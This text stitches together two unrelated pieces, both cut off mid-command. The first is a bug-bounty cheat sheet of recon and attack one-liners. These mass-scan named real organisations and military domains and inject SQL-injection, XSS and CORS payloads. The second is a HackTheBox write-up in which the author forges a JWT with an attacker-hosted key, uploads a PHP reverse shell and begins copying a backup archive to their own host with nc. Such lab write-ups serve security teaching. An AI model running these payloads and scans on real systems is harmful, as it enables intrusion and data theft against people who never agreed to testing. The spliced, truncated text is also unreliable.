sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command](https://bit.ly/3shFFJ5) ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command](https://bit.ly/2L3YVsc) ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command](https://bit.ly/354lYuf) ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' 2>/dev/null" ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command](https://bit.ly/3dvP6xq) ```bash cat subdomsains.txt | httpx --silent | jsubfinder -s ``` ### Search domains to Range-IPS. - [Explained command](https://bit.ly/3fa0eAO) ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command](https://bit.ly/3kNTHNm) ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command](https://bit.ly/2JpRsmS) ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command](https://bit.ly/3gsbzNt) ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command](https://bit.ly/37avq0C) ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. - [Explained command](https://bit.ly/3m9AsOY) ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Search to Hackers. - [Censys](https://censys.io) - [Spyce](https://spyce.com) - [Shodan](https://shodan.io) - [Viz Grey](https://viz.greynoise.io) - [Zoomeye](https://zoomeye.org) - [Onyphe](https://onyphe.io) - [Wigle](https://wigle.net) - [Intelx](https://intelx.io) - [Fofa](https://fofa.so) - [Hunter](https://hunter.io) - [Zorexeye](https://zorexeye.com) - [Pulsedive](https://pulsedive.com) - [Netograph](https://netograph.io) - [Vigilante](https://vigilante.pw) - [Pipl](https://pipl.com) - [Abuse](https://abuse.ch) - [Cert-sh](https://cert.sh) - [Maltiverse](https://maltiverse.com/search) - [Insecam](https://insecam.org) - [Anubis](https://https://jldc.me/anubis/subdomains/att.com) - [Dns Dumpster](https://dnsdumpster.com) - [PhoneBook](https://phonebook.cz) - [Inquest](https://labs.inquest.net) - [Scylla](https://scylla.sh) # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
# TheNoteBook - HackTheBox Linux, 30 Base Points, Medium ## Machine ![TheNoteBook.JPG](images/TheNoteBook.JPG) ## TL;DR; To solve this machine, we begin by enumerating open services using namp – finding ports 80, 22, 10010. ***User:*** Find JWT token with ```"kid":"http://localhost:7070/privKey.key"``` value, Sign new JWT token with our private key and get access to ```/admin``` page as admin role, Uploading PHP web shell and got shell as ```www-data```, Found ```/var/backups/home.tar.gz``` with ```noah``` ssh private key. ***Root:*** By running sudo -l, we learn we are able to run ```/usr/bin/docker exec -it webapp-dev01*``` as root, Get exec to running container and use [CVE-2019-5736-PoC](https://github.com/Frichetten/CVE-2019-5736-PoC) to read the root flag. ## TheNoteBook Solution ### User So let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $nmap -sC -sV -oA nmap/TheNoteNook 10.10.10.230 Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-23 00:27 IST Nmap scan report for 10.10.10.230 Host is up (0.085s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA) | 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA) |_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: The Notebook - Your Note Keeper 10010/tcp filtered rxapi Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.59 seconds ``` Port 80 contains the following website: ![port80.JPG](images/port80.JPG) ```gobuster``` on ```http://10.10.10.230``` give us the following results: ```console =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.230 [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,log,txt [+] Timeout: 10s =============================================================== 2021/03/23 00:58:00 Starting gobuster =============================================================== /login (Status: 200) /register (Status: 200) /admin (Status: 403) /logout (Status: 302) Progress: 114644 / 220561 (51.98%)^C[A [!] Keyboard interrupt detected, terminating. =============================================================== 2021/03/23 01:58:47 Finished =============================================================== ``` So It's mean we have also ```/admin``` page that we need to access it (currently - 403 forbidden). Let's back to web site - If we clicked on Notes -> Add Notes we got the following page: ![addnote.JPG](images/addnote.JPG) Let's intercept this request using ```BurpSuite```: ![burp_addnote.JPG](images/burp_addnote.JPG) We can see the following request: ```http POST /94ca617e-44eb-4b32-8935-e88872a3af50/notes/add HTTP/1.1 Host: 10.10.10.230 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://10.10.10.230 DNT: 1 Connection: close Referer: http://10.10.10.230/94ca617e-44eb-4b32-8935-e88872a3af50/notes/add Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImV2eWF0YXIiLCJlbWFpbCI6ImV2eWF0YXJAaHRiLmNvbSIsImFkbWluX2NhcCI6MH0.BLJCCp7OTvIqrjWRiCZNlGKi5pposmlszjqQMpRyySzpV66LloGMYEe8Q-dYaiaoYQWenJUDcZJJ_BMmt80qv4JF72RbVE_QH5y6gqbgy4x6lljwtnCWx7jNXfKnrSLZ-Zz1jDs1E89Vn3RAIWXWfhFIT2VMJHbjOAKQWOmd9r2ng0wSK-x2DpOJbeU3xoqsLkzYRK0zu-41cA9zz3nI9gh6EiibFf7UgXIjhZmthKa9aRdGJ8RIoyecUlXg4wxwn3UklkhKA-n0LVjzVXrohO30rSBroEZH3-Lae98VhP7tvO_JCrQsrKOlkncADIgBOJ7N4fNUXVxCJcvzAWjP70WEGcTP4E56r1IOgdGuqJZTwEh9WaudQeDk12NUldaZgUPAWP3x7ULbFNps2lGe0NaH8WbOC59EuL92DK-iVRpIseanevKpMhsNjJz63QfTgGoe-vKRVIwp6-Qcws-mHX7aon5yGc2TElKLo9jzvmfbATwSi_JbYOE_h2CMZbyrHbswQNTetsINuLTtjOznmRC8MQnIY-ttEeaWifyVVGzhhO-EPpGDbjxw1dZcD0ITZ-IaoM9yVXTqURAqWYQ8rSb5LG3thuapjc58hpPc_VWq-KT_9fOwqN_ZqVmWcpNYGno_p4mN6vC5RIBPZTD_dcK5wzXD8YxpyBw2wHvTf6g; uuid=94ca617e-44eb-4b32-8935-e88872a3af50 Upgrade-Insecure-Requests: 1 title=test&note=test ``` ```auth``` cookie looks like JWT token: ```json auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImV2eWF0YXIiLCJlbWFpbCI6ImV2eWF0YXJAaHRiLmNvbSIsImFkbWluX2NhcCI6MH0.BLJCCp7OTvIqrjWRiCZNlGKi5pposmlszjqQMpRyySzpV66LloGMYEe8Q-dYaiaoYQWenJUDcZJJ_BMmt80qv4JF72RbVE_QH5y6gqbgy4x6lljwtnCWx7jNXfKnrSLZ-Zz1jDs1E89Vn3RAIWXWfhFIT2VMJHbjOAKQWOmd9r2ng0wSK-x2DpOJbeU3xoqsLkzYRK0zu-41cA9zz3nI9gh6EiibFf7UgXIjhZmthKa9aRdGJ8RIoyecUlXg4wxwn3UklkhKA-n0LVjzVXrohO30rSBroEZH3-Lae98VhP7tvO_JCrQsrKOlkncADIgBOJ7N4fNUXVxCJcvzAWjP70WEGcTP4E56r1IOgdGuqJZTwEh9WaudQeDk12NUldaZgUPAWP3x7ULbFNps2lGe0NaH8WbOC59EuL92DK-iVRpIseanevKpMhsNjJz63QfTgGoe-vKRVIwp6-Qcws-mHX7aon5yGc2TElKLo9jzvmfbATwSi_JbYOE_h2CMZbyrHbswQNTetsINuLTtjOznmRC8MQnIY-ttEeaWifyVVGzhhO-EPpGDbjxw1dZcD0ITZ-IaoM9yVXTqURAqWYQ8rSb5LG3thuapjc58hpPc_VWq-KT_9fOwqN_ZqVmWcpNYGno_p4mN6vC5RIBPZTD_dcK5wzXD8YxpyBw2wHvTf6g; ``` Let's try to decode it using base64 decode: ```json {"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}{"username":"evyatar","email":"[email protected]","admin_cap":0},‚§³“¼Š«db “e¨¹¦š,š[3Ž¤ ¥²K:Uë¢å cïu†¢j†YéÉP7$Lšß4ªþ ½‘mQœº‚¦àˌz–Xð¶p–ǸÍ]ò§­"Ùg=cÍDóÕgÝYuŸ„RÙS ¸Î ``` Ok, So we can see the ```kid``` header [https://tools.ietf.org/html/rfc7515#section-4.1.4](https://tools.ietf.org/html/rfc7515#section-4.1.4). The "kid" (key ID) Header Parameter is a hint indicating which key was used to secure the JWS. This parameter allows originators to explicitly signal a change of key to recipients. The structure of the "kid" value is unspecified. Its value MUST be a case-sensitive string. When used with a JWK, the "kid" value is used to match a JWK "kid" parameter value. So It's mean we can create our JWT token and sign it with our key! We want to get admin access so let's try to change the ```kid``` to our IP with our private key, the ```username``` to ```admin``` and ```admin_cap``` to be ```true```: ```json {"typ":"JWT","alg":"RS256","kid":"http://10.10.14.14:7070/privKey.key"}{"username":"evyatar","email":"[email protected]","admin_cap":true} ``` Now, We need to "sign" this JWT header+payload. We can do it using [jwt.io](https://jwt.io) website, but first, we need to create private key using ```ssh-keygen```: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in jwtRS256.key Your public key has been saved in jwtRS256.key.pub The key fingerprint is: SHA256:I/R3714l8vHQbQrUtBnlzTU7H/hyjm5qtGArW2uWD/k user@parrot The key's randomart image is: +---[RSA 4096]----+ | ooo| | o.*=| | . ..+++| | . . . ..=| | . S . +.+o*| | . =.o ==B.| | .+= ..+.o| | ..=+o.o . | | .=.oEooo | +----[SHA256]-----+ ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub writing RSA key ``` We want also to change the name of ```jwtRS256.key``` to ```privKey.key``` (optional). Great, Now we have private key and we have the request payload, so let's create a new JWT token using [jwt.io](https://jwt.io): ![jwtio.JPG](images/jwtio.JPG) We need to put the header + payload and the private key. We need also to listen to port 8000 and wait to server request to get the ```privKey.key```: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` Now, Let's try to browse to ```http://10.10.10.230/admin``` and intercept this request using ```Burp``` and change the ```auth``` cookie: ![auth.JPG](images/auth.JPG) We got server request: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.10.230 - - [23/Mar/2021 03:05:32] "GET /privKey.key HTTP/1.1" 200 - ``` And we got the admin page successfully: ![admin.JPG](images/admin.JPG) Let's try to click on ```Upload File``` button (intercept the request and change the ```auth``` cookie again: ![upload.JPG](images/upload.JPG) So now, we can upload php shell [http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz](http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz): ![shellupload.JPG](images/shellupload.JPG) Start ```nc``` listener: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $nc -lvp 1234 listening on [any] 1234 ... ``` And Click on "View" button (also intercept the request and change ```auth``` token), and we got shell: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook] └──╼ $nc -lvp 1234 listening on [any] 1234 ... 10.10.10.230: inverse host lookup failed: Unknown host connect to [10.10.14.14] from (UNKNOWN) [10.10.10.230] 43298 Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 01:39:57 up 3:13, 0 users, load average: 0.01, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data ``` From [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) we can see ```/var/backups/home.tar.gz``` file. We can get hint for this file without ```linpeas```. Let's click on ```Notes``` on web page with ```admin``` token and we will see: ![backupsnotes.JPG](images/backupsnotes.JPG) And we know the backups file usually located on ```/var/backup```. So let's get ```home.tar.gz``` file using ```nc```: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/backups] └──╼ $nc -lvp 1111 > home.tar.gz ``` And from ```www-data``` shell: ```console $ cd /var/backups $ ls apt.extended_states.0 apt.extended_states.1.gz apt.extended_states.2.gz home.tar.gz $ nc 10.10.14.14 1111 < 